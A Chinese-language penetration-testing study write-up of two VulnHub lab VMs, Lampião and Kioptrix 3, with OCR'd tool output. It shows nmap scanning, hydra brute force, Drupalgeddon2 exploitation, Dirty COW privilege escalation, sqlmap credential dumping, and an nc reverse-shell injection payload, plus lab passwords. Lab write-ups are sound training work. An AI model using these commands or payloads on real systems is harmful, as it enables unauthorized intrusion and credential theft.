渗透测试靶机学习
0x01 lampiao靶机

准备环境
靶机下载地址https://download.vulnhub.com/lampiao/Lampiao.zip.torrent

主机发现
使用nmap进行扫描nmap 192.168.85.0/24 -n -sn -sP
-n：不做DNS解析
-sn：不做端口扫描，只进行主机发现
-sP：ping扫描 (主机发现)





查看Kali虚拟机的IP
[image: ]
[image: ]
使用netdiscover 扫描本地网络主机
netdiscover -i eth0 -r 192.168.85.0/24


[image: ]

端口扫描
端口扫描工具Nmap
命令
nmap 192.168.85.133 -p- -O -sS -sV -v –A
-p-  全端口扫描         -sV 版本探测
-O   启用操作系统检测  –v 打印扫描过程中的详细信息
-sS  TCP SYN扫描       –A 同时打开操作系统探测和版本探测
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获取目标机器上开放端口，对应运行服务，利用某些服务的漏洞来进行攻击，扫描得到开放端口22，80,1898。
尝试爆破22端口，hydra进行密码爆破，但爆破密码不成功。
hydra -l root -P passwords.txt -V -t 10 ssh://192.168.85.133
-V 显示爆破过程 -t为进程数
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80端口测试：
静态页面，源代码，没什么重要信息。
[image: ]

Nikto进行扫描，没发现什么重要信息
[image: ]
御剑进行了目录扫描，也没发现什么重要信息

[image: ]
端口1898上有个Drupal 7，开放web服务
[image: ]
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在页面只有用户登录、注册、找回密码等模块，可能存在的突破点: 
页面sql注入，账号密码破解，目录扫描，Drupal框架漏洞。
Sql注入测试：没发现注入
[image: ]
账号密码破解：没发现弱口令
[image: ]
目录扫描测试：
[image: ]
http://192.168.85.133:1898/web.config [image: ]
http://192.168.85.133:1898/robots.txt
[image: ]
http://192.168.85.133:1898/CHANGELOG.txt Drupal 7.54 [image: ]
查询发现可能存在Drupal CVE-2018-7600远程代码执行漏洞
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通过Metasploit发现利用脚本
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设置参数并利用成功
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提权
查看uname -a内核版本，考虑用linux通用内核漏洞dirty cow（脏牛漏洞）提权
[image: ]
wget https://www.exploit-db.com/download/40839.c 下载
gcc -pthread 40839.c -o dirty -lcrypt 编译
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提权成功 通过账号连接 firefart root123..
[image: ][image: ]


0x02 Kioptrix: Level 1.2 (#3)靶机


准备环境
下载地址：http：//www.kioptrix.com/dlvm/KVM3.rar
下载（镜像）：https：//download.vulnhub.com/kioptrix/KVM3.rar
下载（Torrent）：https://download.vulnhub.com/kioptrix/KVM3.rar.torrent     

主机发现
使用nmap进行扫描
nmap 192.168.85.0/24 -n -sn -sP
-n：不做DNS解析
-sn：不做端口扫描，只进行主机发现
-sP：ping扫描 (主机发现)





查看Kali虚拟机的IP
[image: ]
[image: ]
使用netdiscover 扫描本地网络主机
netdiscover -i eth0 -r 192.168.85.0/24


[image: ]

端口扫描
端口扫描工具Nmap
命令nmap 192.168.85.0/24 -n -sn -sP
-n：不做DNS解析
-sn：不做端口扫描，只进行主机发现
-sP：ping扫描 (主机发现)
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获取目标机器上开放端口，对应运行服务，利用某些服务的漏洞来进行攻击，扫描得到开放端口22，80。
尝试爆破22端口，hydra进行密码爆破，但爆破密码不成功。hydra -l root -P passwords.txt -V -t 10 ssh://192.168.85.135
-V 显示爆破过程 -t为进程数
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80端口：是一个博客网站，在nikto扫描发现phpmyadmin
[image: ]

[image: ] [image: ]

目录扫描

[bookmark: _GoBack][image: ]
[image: ]
http://192.168.85.135/gallery/index.php
[image: ]
通过源代码发现Gallarific，Generator，搜索发现历史漏洞
[image: ]
Sql注入漏洞
[image: ]
www.site.com/gallery.php?id=null
通过上面发现
http://192.168.85.135/gallery/gallery.php?id=1存在注入
通过sqlmap进行测试
[image: ]
存在三个数据库[image: ]
在当前数据库存在7个表 [image: ]
查看账号密码 [image: ] [image: ]
admin n0t7t1k4
dev_accounts的账号密码
[image: ]
dreg       | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r)    loneferret     | 5badcaf789d3d1d09794d8f021f40f0e (starwars)
存在两个账号密码，并不是后台的账号密码，保存下来。

源码发现存在有注释gadmin，admin，在上面poc也发现gadmin
[image: ]
后台地址http://192.168.85.135/gallery/gadmin/，通过测试并无发现什么漏洞
[image: ]
admin n0t7t1k4
[image: ]

命令注入
通过awvs扫描得到代码注入漏洞
[image: ]
http://192.168.85.135/index.php?page=%24{%40phpinfo()}\
[image: ]
直接通过命令反弹shell
http://192.168.85.135/index.php?page=${@system("/bin/nc -e /bin/bash 192.168.85.132 8888")}\
成功反弹shell
[image: ]

CMS漏洞
http://192.168.85.135/index.php?system=Admin发现LotusCMS
通过metasploit查找LotusCMS漏洞
[image: ]
搜索并利用
[image: ] [image: ]
成功获取shell，查看发现home存在dreg，loneferret，网站目录gconfig.php存在数据库账号密码，尝试本地提权不成功，寻找其他信息
[image: ]
[image: ] [image: ]
http://192.168.85.135/phpmyadmin/index.php
root fuckeyou正常登陆
[image: ]
通过目录发现其他账号信息，与上面账号进行联系，通过ssh登陆dreg，loneferret，dreg目录并无太多信息。
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在loneferret的目录下发现，查看发现
[image: ]
[image: ]
浏览CompanyPolicy.README发现存在sudo ht的命令，可以查看，编辑和创建文件,ht是一个编辑器
[image: ]
发现数字代表F <数字>键：F1（帮助），F2（保存），F3(打开),F4(编辑),F10(退出)
通过搜索发现命令存在一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限，所以可以编辑任何的文件。
[image: ]
测试一：
sudo将当前用户切换到超级用户下，或切换到指定的用户下， 
然后以超级用户或其指定切换到的用户身份执行命令，执行完成后，直接退回到当前用户。sudo 用来执行需要提升权限（通常是作为 root 用户）的命令. 一个用户要能使用 sudo ，应该在 /etc/sudoers 文件里有一条跟该用户相关的信息。如果你没有尝试执行其他命令，你将会得到一个有 root 权限的交互式的 shell。通过加入bin/bash以root执行获取shell。
[image: ]
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测试二：通过修改etc/passwd，把用户的组改一下
[image: ]
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重新登陆发现，提权成功
[image: ]
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Nmap scan report for 192.168.85.1
Host is up (0.00015s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.85.2

Host is up (0.60056s latency).

MAC Address: 00:50:56:EB:BO:66 (VMware)

Nmap scan report for 192.168.85.133

Host is up (0.60054s latency).

MAC Address: 00:0C:29:E5:CE:05 (VMware)

Nmap scan report for 192.168.85.254

Host is up (0.60023s latency).

MAC Address: ©0:50:56:F0:E9:6B (VMware)

Nmap scan report for 192.168.85.132

Host is up.

Nmap done: 256 IP addresses (5 hosts up) scanned in 1.79 seconds
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Currently scanning: Finished! | Screen View: Unique Hosts

13 Captured ARP Req/Rep packets, from 4 hosts. Total size: 780

P At MAC Address Count Len MAC Vendor / Hostname

192.168.85.1

VMware,

192.168.85.133 VMware,

1 60 Viware,
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NSE: Loaded 146 scripts Tor scanning.

NSE: Script Pre-scanning.

Initiating NSE at 12:30

Completed NSE at 12:30, 0.00s elapsed
Initiating NSE at 12:30

Completed NSE at 12:30, 0.60s elapsed
Initiating ARP Ping Scan at 12:30

Scanning 192.168.85.133 [1 port]

Completed ARP Ping Scan at 12:30, 0.04s elapsed

(1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 12:30

Completed Parallel DNS resolution of 1 host. at
Initiating SYN Stealth Scan at 12:30

Scanning 192.168.85.133 (65535 ports]
Discovered open port 80/tcp on 192.168.85.133
Discovered open port 22/tcp on 192.168.85.133
Discovered open port 1898/tcp on 192.168.85.133
Completed SYN Stealth Scan at 12:30, 2.41s elap:

Initiating Service scan at 12:30
Scanning 3 services on 192.168.85.133

12:30, 0.01s elapsed

ed (65535 total ports)
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22/tcp  open ssh OpenssH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2

ssh-hostkey

61:33:5
256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3: ff:b7:16:f4:52 (ECDSA)
256 €6:55:ca:07:37:65:€3:06:cl:d 7:dc:23:df:cc (EdDSA)

o/tcp  open http?

fingerprint-strings:

NULL:

898/tcp open http  Apache httpd 2.4.7 ((Ubuntu)
http-favicon: Unknown favicon MD5: CF2445DCB53A031CO2F9B57E2199BCO3
http-generator: Drupal 7 (http://drupal.org)
http-methods:
Supported Methods: GET HEAD POST OPTIONS

|
|
|
|
=
8
|
|
|
|
|
|
|
|
|
|
-
1
It
ju
|
=
| http-robots.txt: 36 disallowed entries (15 shown
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[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the t
(DATA] max 10 tasks per 1 server, overall 10 tasks, 1001 login tries (1:1/p:1001), ~101 tries per task
(DATA] attacking 1133:22/

[ATTEMPT] target Togin "root" - pass "password” - 1 of 1661 [child 0] (6/6)

[ATTEMPT] target Togin - pass "12346" - 2 of 1001 [child 1] (0/0)
[ATTEWPT] target login - pass *12345678" - 3 of 1001 [child 2] (0/0)
[ATTEMPT] target login - pass *1234" - 4 of 1001 [child 3] (0/0)
[ATTEWPT] target - login - pass "querty" - 5 of 1001 [child 4] (0/0)
[ATTEWPT] target - login - pass *12345" - 6 of 1001 [child 5] (0/0)
[ATTEWPT] target - login - pass "dragon” - 7 of 1001 [child 6] (0/0)
[ATTEWPT] target Togin - pass "pussy” - 8 of 1001 [child 7] (0/0)

[ATTEWPT] target
[ATTEWPT] target
[ATTEWPT] target
[ATTEWPT] target
[ATTEWPT] target
[ATTEMPT] target

Togin
Togin
login
login
login
login

- pass "baseball” - 9 of 1001 [child 8] (0/0)
- pass *football” - 10 of 1001 [child 9] (0/0)
- pass "letmein” - 11 of 1001 [child 6] (6/0)
- pass "monkey" - 12 of 1001 [child 8] (0/0)
- pass "696963" - 13 of 1001 [child 0] (0/0)
- pass "abc123" - 14 of 1001 [child 1] (6/6)
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root@kali:~/Desktop# nikto -h http://192.168.85.133/
- Nikto v2.1.6

+ @ host(s) tested
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1898/tcp open http  Apache httpd 2.4.7 ((Ubuntu))

|_http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03
|\ http-generator: Drupal 7 (http://drupal.org)

B 5 2 P
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http://192.168.85.133:1898/

[ Enable Post data [ Enable Referrer

Lampi&o
Home
User login s L. . -
Lampido, herdi ou vilao do Sertao?
Username * Submitted by tiago on Thu, 04/19/2018 - 18:25
Password *

o Create new account
« Request new password

Login Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteriosas da histéria do

— Pracil nacennt a vida cenda temida e idnlatrada nelac necenac aiie aterrori7zava e amnarava Conheca aor
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[1NFO] testing ’Microsoft SQL Server/Sybase inline queries’

[1NFO] testing *PostgreSQL > 8.1 stacked queries (comment)’

[1NFO] testing ’Microsoft SQL Server/Sybase stacked queries (comment)’

[1NFO] testing ’Oracle stacked queries (DBMS_PIPE.RECEIVE MESSAGE — comment)’

[1NFO] testing ’MySQL >= 5.0.12 AND time-based blind’

[1NFO] testing ’PostgreSQL > 8.1 AND time-based blind’

[1NFO] testing ’Microsoft SQL Server/Sybase time-based blind (IF)’

[1NFO] testing ’Oracle AND time-based blind’

[1NFO] testing ’Generic UNION query (88) - 1 to 10 columns’

[WARNING] GET parameter ’destination’ does not seem to be injectable

[CRITICAL] all tested parameters do not appear to be injectable. Try to increase values 1
tions if you wish to perform more tests. If you suspect that there is some kind of protection mechar
iybe you could try to use option ’—tamper’ (e.g. ’—tamper=space2comment’)
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0 200 ) O 12264
1 password 200 =] O 12264
3 12345678 200 =] O 12264
4 1234 200 =] O 12264
5 querty 200 =] O 12264
5 12345 200 =] O 12264
7 dragon 200 =] O 12264
8 pussy 200 =] O 12264
9 baseball 200 o O 12264

Request | Response

Raw | Params | Headers | Hex

POST /?q=node&destination=node HTTP/1.1

Host: 192.168.85.133:1898

Content-Length: 120

Cache-Control: max-age=0

Origin: http://192.168.85.133:1898

Upgrade-Insecure-Requests: 1

User-Agent: Moxzilla/5.0 (Windows NT 10.0; WOW64) AppleWebkit/537.36
(KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0

P TP S S SR PR |




image14.png
Scanning URL: http://192.168.85.133:1898/ ----

> DIRECTORY: http://192.168.85.133:1898/includes/
http://192.168.85.133:1898/index.php (CODE:200|SIZE:11446)
> DIRECTORY: http://192.168.85.133:1898/misc/

> DIRECTORY: http://192.168.85.133:1898/modules/

DIRECTORY: http://192 168.85.133:1898/profiles/
ttp://192.168.85.133:1898/robots. txt (CODE:200|SIZE:2189)
DIRECTORY: hitp://192-168.85.133:1898/sCripts/
http://192.168.85.133:1898/server-status (CODE:403|SIZE:296
> DIRECTORY: http://192.168.85.133:1898/sites/

E

-

+http: ~168-85:133:
/192.168.85.133:1898/web. config (COD
/192.168.85.133:1898/xmLrpc.php (CODE:

+| htty
+ htt

00| SIZE:2200)
00| SIZE:42)
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o Load URL | http://192.168.85.133:1898/web.config
| split URL

. Execute

[ Enable Post data [ Enable Referrer

Z XML MR B HIRRAIRRER. SRRSO,

<configuration>
— <system.webServer>

— -
Don’t show directory listings for URLs which map to a directory.
-
<directoryBrowse enabled="false"/>
- <rewrite>
- <rules>

— <rule name="Protect files and directories from prying eyes" stopProcessing="true">
<match url="\.(enginelinc|info|install|make|module|profile|test|po|sh|.*sql|theme]|tpl(\.php)?[xtmpl)$| A (\..*|Entries.*|Repository|Root| Tag| Templat
<action type="CustomResponse" statusCode="403" subStatusCode="0" statusReason="Forbidden" statusDescription="Access is forbidden
</rule>
— <rule name="Force simple error message for requests for non-existent favicon.ico” stopProcessing="true">
<match url="favicon\.ico"/>
<action type="CustomResponse" statusCode="404" subStatusCode="1" statusReason="File Not Found" statusDescription="The requested
~ <conditions>
<add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true"/>
</conditions>
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INT = @ 5QLv X85 Encryption” EncodingT Other~

@ Load URL | http://192.168.85.133:1898/robots.txt
& splitURL
) Execute

[ Enable Post data [ Enable Referrer

nrrows /snewess v Jpes

Allow: /themes/*.png

# Directories

Disallow: /includes/
Disallow: /misc/

Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/

# Files

Disallow: /CHANGELOG. txt
Disallow: /cron. php
Disallow: /INSTALL.mysql. txt
Disallow: /INSTALL.pgsql. txt
Disallow: /INSTALL.sqlite. txt
Disallow: /install.php
Disallow: /INSTALL. txt
Disallow: /LICENSE. txt
Disallow: /MAINTAINERS. txt
Disallow: /update.php
Disallow: /UPGRADE. txt
Disallow: /xmlrpc. php

# Paths (clean URLs)
Disallow: /admin/

Disallow: /comment/reply/
Disallow: /filter/tips/
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@ Load URL |192.168.85.133:1898/CHANGELOG.txt
4 spliturL
) Execute
[ Enable Post data  [] Enable Referrer
T HERRER AR , EEREMFT ? EARE

Drupal 7.54, 2017-02-01

- Modules are now able to define theme engines (API addition:
https://wiw. drupal. org/node/2826480).

~ Logging of searches can now be disabled (new option in the administrative
interface).

~ Added menu tree render structure to (pre-)process hooks for theme_menu_tree ()
(AP addition: https://www. drupal. org/node/2827134).

- Added new function for determining whether an HITPS request is being served
(AP addition: https://www. drupal. org/node/2824590).

- Fixed incorrect default value for short and medium date formats on the date
type configuration page.

- File validation error message is now removed after subsequent upload of valid
file.

- Numerous bug fixes.

- Numerous API documentation improvements.

- Additional performance improvements.




image18.png
2018535280 , Drupal Security TeamE /557 T —MNEENRE NS , EifDupal 67855

FIRAFERERBIVTIAGE | REETURIBZmELEDrupal RFHIML | 1

ERLERIRREAING , ZRERE

CVE-2018-7600,

=B 8




image19.png
FAREI , Drupal REFAREE T—NERFER (21/25 NISTSR ) I8 , HiBAXE#Dupalgeddon
2 ('SA-CORE-2018-002/CVE-2018-7600 ) , X4TERIASERMAIDrupal RiEHS , WA REEEFRZS
BRIENER FRRRITRE,
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msf > search Drupal
[!] Module database cache not built yet, using slow search

Matching Modules

Name Disclosure Date Rank Description
auxiliary/gather/drupal_openid xxe 2012-10-17 normal Drupal OpenID External Entity Injection
auxiliary/scanner/http/drupal_views user_enum 2010-07-02 normal Drupal Views Module Users Enumeration
exploit/multi/http/drupal_drupageddon 2014-10-15 excellent Drupal HTTP Parameter Key/Value SQL Injection
loit bapp/drupal_cod 916-07-1 lent Drupal CODER Module Remote C d_Execut:
exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Drupal Drupalgeddon 2 Forms API Property Injection
loit, bapp/drupal_rest: 016-67-1 1lent Drupal RESTWS Module Remote PHP Code Execut

exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent PHP XML-RPC Arbitrary Code Execution
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nsf > use exploit/unix/vebapp/drupal_drupalgeddon2

st explot{unix/vebapp/drupal_drupatgeddon2) > set RAOST

set ST

st exploit(unix/vebapp/drupal_drupalgeddon2) > set RHOST 192.168.85.133
Re0ST => 192.168.65.133

st exploit (unix vebapp/drupsl_drupalgeddon2) > set RPORT 1698

Ro0RT => 1658

st explott(unix/vebapp/drupal_drupalgeddonz) > run

1) tarted reverse TCP handler on 192.168.85.132:4444

(4] Orupal 7 targeted at http://192.168.85.133:1898/

4] Orupal sppears unpatched in CHANGELDG. tet

1) Sending stage (37775 bytes) to 192.168.65.133

1] Meterpreter session 1 opened (192.168.65.132:4444 -> 192.168.65.133:50758) at 2016-1

tepeter > |
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Tid
| uid=33 (www-data) gid=33(www-data) groups=33(www-data)
A
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meterpreter > shell
Process 9658 created.
Channel © created.
sb_release -a
Distributor ID: Ubuntu

Description:  Ubuntu 14.04.5 LTS
Release: 14.04
Codenane: trusty

No LSB modules are available
'
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neterpreter > shell
Process 9658 created.
Channel © created.
Usb_release -a
Distributor ID: Ubuntu

Description:  Ubuntu 14.04.5 LTS
Release: 14.04
Codenanme:: trusty

No LSB modules are available.
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Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8

Connecting to www.exploit-db.com (www.exploit-db.com) |192.124.249.8]:443. .. connected.
HTTP request sent, awaiting response... 200 OK

Length: 5006 (4.9K) [application/txt]

Saving to: '46839.c'

oK ... 100% 482M=0s
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L/dirty

Please enter the new password: root123.

/etc/passwd successfully backed up to /tmp/passwd.bak
[complete line:

firefart: fiPjva8r3gvNc:0:0:pwned:/root: /bin/bash

Inmap: b771e000

ptrace o

pone! Check /etc/passwd to see if the new user was created

You can log in with the username 'firefart' and the password 'rootl23..'.

DON' T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
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(Nmap scan report for 192.168.85.1

Host is up (6.90029s latency).

\MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.85.2

Host is up (0.00021s latency)

MAC Address: 00:50:56:EB:B0:66 (VMware)
imap scan report for 192.168

Hostis up (000235 latency)-

MAC Address: 00:0C:29:44:55:B1 (VMware)
Nmap scan report for 192.168.85.254
Host is up (0.60051s latency).

MAC Address: 00:50:56:F9:E9:6B (VMware)

(Nmap scan report for 192.168.85.132

[Host is up.

I Nmap _done: 256 IP addresses (5 hosts up) scanned in 1.93 seconds
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Last login: Fri Apr 20 14:46:57 2018 from 192.168.108.1
firefart@lampiao:~#

firefart@lampiao:~#

firefart@lampiao:~#

firefart@lampiao:~#

firefart@lampiao:~# id

uid=0(firefart) gid=0(root) groups=0(root)
firefart@lampiao:~# 1s

flag.txt

firefart@lampiao:~# cat flag.txt
9740616875908d91ddcdaa8aea3af366
firefart@lampiao:~#
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Nmap scan report for 192.168.85.1
(Host is up (0.00029s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.85.2

Host is up (0.60021s latency).

MAC A 6 _(VMware)
imap scan report for 192.168.85.135
Hostis up (6.00235 latency).

MAC Address: 00:0C:29:44:55:B1 (VMware)

Nmap scan report for 192.168.85.254

Host is up (0.60051s latency).

MAC Address: 00:50:56:F9:E9:6B (VMware)

Nmap scan report for 192.168.85.132

Host is up.

Nmap done: 256 IP addresses (5 hosts up) scanned in 1.93 seconds
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Currently scanning: 192.168.85.6/24 | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 246

. IP At MAC Address Count Len MAC Vendor / Hostname

60 VMware, Inc.
60 VMware, Inc.
60 VMware, Inc.
60 VMware, Inc.
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NSE: Loaded 146 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 00:58

Completed NSE at 00:58, 0.00s elapsed

Initiating NSE at 00:58

Completed NSE at 00:58, 0.00s elapsed

Initiating ARP Ping Scan at 00:58

Scanning 192.168.85.135 [1 port]

(Completed ARP Ping Scan at 60:58, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:58

Completed Parallel DNS resolution of 1 host. at 00:58, 0.00s elapsed
Initiating SYN Stealth Scan at 00:58

Scanning 192.168
Discovered open
Discovered open
Completed SYN St
Initiating Service scan at 00: s

ort 22/tcp on 192.168.85.135
ort 86/tcp on 192.168.85.135

35 total ports)




image32.png
PORT STATE SERVICI 'ERSTON.

22/tcp open ssh OpenSSH 4.7pl Debian Bubuntul.2 (protocol 2.6)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
| 2048 9 2:€6:96:e4:7e:d6:a6:d7:45:44:cb: 1t c:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| http-cookie-flags:
| 4

| PHPSESSID:
I httponly flag not set

| “http-favicon: Unknown favicon MD5: 99EFCO0391F1422528884038B1C196D2

| http-methods:

|_ supported Methods: GET HEAD POST OPTIONS

| “http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntus.6 with Suhosin-Patch
| http-title: Ligoat Security - Got Goat? Security ...

MAC Address: 00:0C:29:44:55:B1 (VMware

Device type: general purpose





image33.png
[ATTEMPT]
(ATTENPT]
(RTTENPT]
[ (areneT)
(KTTENPT]
[ (arrenpr)

target
target
target
target
target
target
target
target
target
target
target
target
target

192,
192
192
192,
192
192
192]
192]
192
192
192,
192
192

168.85,
16885,
168.85.
168.85.

168,85

16885,

168,85

168.85.

168,85
16885

168.85.
168.85.

168.85.

2135

135
135
135
135
135
135
135
135
135
135
135
135

login
Togin
Togin
login
togin
Togin
Togin
togin
Togin
Togin
Togin
togin
login

“root*
“root*
“root*
“root*
*root”
*root*
“root*
“root*
*root”
“root*
“root*
*root*
“root”

pass

- pass
~pass

pass
pass

- pass
~pass

pass
pass

~ pass

pass
pass
pass

password” - 1 of 1001 [child o] (6,
*123456" - 2 of 1601 [child 1] (6/0)
*12345678" - 3 of 1061 [child 2] (o/0)
*1234" - 4 of 1001 [child 3] (0/0)
“querty” - 5 of 1001 [child 4] (0/0)
“12345 - 6 of 1001 (child 5] (6/0)
*dragon” - 7 of 1601 [child 6] (6/0)
“pussy” - 8 of 1001 (child 7] (8/0)
“baseball” - 9 of 1001 [child 8] (0/0)
“football” - 10 of 1001 [child 9] (8/0)
“letnein® - 11 of 1061 [child 0] (6/0)
*monkey" - 12 of 1001 (child 3] (0/0
696969 - 13 of 1001 [child 1] (6/0)

)
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data [ Enable Referrer

Ligoat Security

I S

05 August 2010

We've just implemented our new state of the art Gallery.

So secure we are putting on our production server hosting our "FindUr Netbook Anywhere" code. This gallery application will be
available for purchase soon at the introductory price of 99$(USD). If you want the source code, the price is schedualed to go for about
9008(USD)

Sowith no further a-do check it out
hitp://kioptrix3.comgallery

Gallery is under GPLv2

Posted at 1049 in
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+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch

Cookie PHPSESSID created without the httponly flag

Retrieved x-powered-by header: PHP/5.2.4-2ubuntus.6

The anti-clickjacking X-Frame-Options header is not present.

The X-XSS-Protection header is not defined. This header can hint to th
gent to protect against some forms of XSS

The X-Content-Type-Options header is not set. This could allow the use
to render the content of the site in a different fashion to the MIME typ:

No CGI Directories found (use '-C all' to force check all possible dir

Server leaks inodes via ETags, header found with file /favicon.ico, in
780, size: 23126, mtime: Fri Jun 5 15:22:00 2009
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trings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AABO1ACF42: PHP reveals
1y sensitive information via certain HTTP requests that contain specif
trings.

+ 0SVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing My
ses, and should be protected or limited to authorized hosts.

/icons/: Directory indexing found.

file found.

eatiiry. fausd

L: phpMyAdmin is for managi
atabases, and should be protected or limited to authorized hosts.
I v remics teer @ e nror (< arid 19 itemés) reparted omaemote host
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WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

- Scanning URL: http://192.168.85.135/ ----

DIRECTORY: http://192.168.85.135/cache/

> DIRECTORY: http://192.168.85.135/core/

+ http://192.168.85.135/data (CODE:403|SIZE:325)

+ http://192.168.85.135/favicon.ico (CODE:200|SIZE:23126)

==>|DIRECTORY: http://192.168.85.135/gallery,

+ http: 16885~ index.php—(CODE: 200 :1819)
DIRECTORY: http://192.168.85.135/module:

DIRECTORY: http://192.168.85.135/phpmyadmin/

+ htitp://192.168.85.135/server-status (CODE:403|SIZE:334)

==> DIRECTORY: http://192.168.85.135/style/

---- Entering directory: http://192.168.85.135/cache/ -
+ http://192.168.85.135/cache/index.html (CODE:200|SIZE:1819)
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---- Entering di
+ http://192.168
DIRECTORY: h-
DIRECTORY: h

e LT s R, O T E/ V1En/

ectory: http://192.168.85.135/gallery/ --
85.135/gallery/index.php (CODE:500|SIZE:5650)
tp://192.168.85.135/gallery/photos/
tp://192.168.85.135/gallery/themes/
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Ligoat Security *Got Goat? Security...

Quick Links:
Recently Uploaded Photos
Photo Shoot In the know.
New picture for new book Self-Explanotory
Last

Gallery 1) pq PhotosViews

Ligoat Press Room
See how we are doing in the news! This is a collection of
wild pictures, good times and how to make money at its
best.

Most Viewed Photos

Photo Shoot In the know.

New picture for new book

(10 views)

Photo Gallery Statistics
Total number of photos uploaded: 3
Total number of registered users: 1
Total number of comments: 0
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<!DOCTYPE HTML PUBLIC "~//W3C//DID HTML 4. 01 Transitional//EN">
<html>
head profile="http://gmpg. org/xfn/11”
meta http-equiv="Generator” content="Gallarific” /.
title’Gallaritic</title.
<meta name="description” content="" />
<meta name="keywords” content="" />
<base href="http://kioptrix3. com/gallery/"></base>
<link rel="stylesheet” href="themes/black/style.css” type="text/css” media="screen” />
<script type="text/javascript” src="themes/black/javascript. js"></script>
</head>
<body>
<center>
<table id="container” cellspacing="0" cellpadding="0">
<tr>
<td id="logo”>
<a href="index. php”><img src="themes/black/images/logo. gif” width="215" height="61" border="0" />
</td>
</tr>
</table>

<table id="main” cellspacineg="0" cellpaddineg="0">
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GALLARIFIC PHP Photo Gallery Script - 'gallery.php’ SQL
Injection

EDB-ID: 15891 Author: AtTACKXT3rROr1ST Published: 2011-01-02

CVE: CVE-2011-0519  Type: Webapps Platform: PHP

EDBVerified: &  Exploit: § Download / View Raw  Vulnerable App: (7

«Previous Exploit Next Exploit »

GALLARIFIC PHP Photo Gallery Script (gallery.php) Sql Injection Vulnerability

Author : ATTACKXT3rR@riST [F.Hack@u.cn]
script http://wm.gallarific.con/download. php
Dork : inurl:"/gadnin/index.php"

Exploit

. site. con/gallery.php?id=null[Sql Injection]

. site.con/gallery.php?
id=nullsand+1=2+union+select+1,group_concat(userid,6x3a,usernane, 0x3a, password), 3,4,5,6,7,8+fromsgallarific_users-

Admin Panel ]

. site. con/gadnin/index.php
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Parameter: id (GET)
Type: boolean—based blind
Title: OR boolean—based blind — WHERE or HAVING clause (MySQL comment)
Payload: 1d=-8971 OR 5820=5820#

Type: error—based

Title: MySQL >= 4.1 OR error—based — WHERE or HAVING clause (FLOOR)

Payload: id=1 OR ROW(7356, 5856) > (SELECT COUNT (*), CONCAT (0x71626b7671, (SELECT (ELT (7356=7356
1))), 0x716b627071, FLOOR (RAND (0) #2) ) x FROM (SELECT 2516 UNION SELECT 8300 UNION SELECT 3587 UNIO
SELECT 9317)a GROUP BY x)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: id=1 OR SLEEP(5)

Type: UNION query

Title: Generic UNION query (NULL) — 6 columns

Payload: id=1 UNION ALL SELECT CONCAT (0x71626b7671, 0x51654a4f4e5a634a4c73684d7871624548697a.
849466552507a734c664345426e6f67775a527073, 0x716b627071) , NULL, NULL, NULL, NULL, NULL-— FalIN
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Lio.26.201 LINCU] Lhe DacCck—enad UbDMS 15 MyoWlL

web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back—end DBMS: MySQL >= 4.1

[13:28:23] [INFO] fetching database names
[13:28:23] [INFO] used SQL query returns 3 entries
[13:28:23] [INFO] retrieved: information_schema
[13:28:23] [INFO] retrieved: gallery

[13:28:23] [INFO] retrieved: mysql

available databases [3]:

[*] gallery

[*] information_schema

[*] mysql
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151001 LINFU] resumed:
atabase: gallery
7 tables]

dev_accounts
gallarific comments |
gallarific galleries |
gallarific_photos |
gallarific settings |
gallarific_stats
gallarific_users | *]

shutting down at 02:35:23

root@kali:~# I
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ﬁatabase:_géller§
Table: gallarific_users
[12 columns]

T 4+ BN cbase :gallery — +
| Column | Type

T 4+ . +
| datejoined | int(11) \
| email | varchar (255)

| firstname | varchar (100)

| issuperuser | tinyint(4)

| joincode | varchar (20)

| lastname | varchar (100)

| password | varchar (100)

| photo | varchar (100)

| userid | int(11) \
| username | varchar (100)

| usertype | enum( superuser’,’ normaluser’) |
| website | varchar (255)




image46.png
L13:31:95] LINFOJ the back—end DBMS 1s MySQL

web server operating system: Linux Ubuntu 8.04 (Hardy Heron)

web application technology: PHP 5.2.4, Apache 2.2.8

back—end DBMS: MySQL >= 4.1

[13:31:55] [INFO] fetching entries of column(s) ’password, username’ for table ’
in database ’gallery

[13:31:55] [INFO] used SQL query returns 1 entries

Database: gallery

Table: gallarific_users

[1 entry]

o e +
| username | password |
o e +
| admin | n0t7t1k4 |

—————————— o +
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Database: gallery
Table: dev_accounts
[2 entries]

e ——— +
| username | password

e ——— +
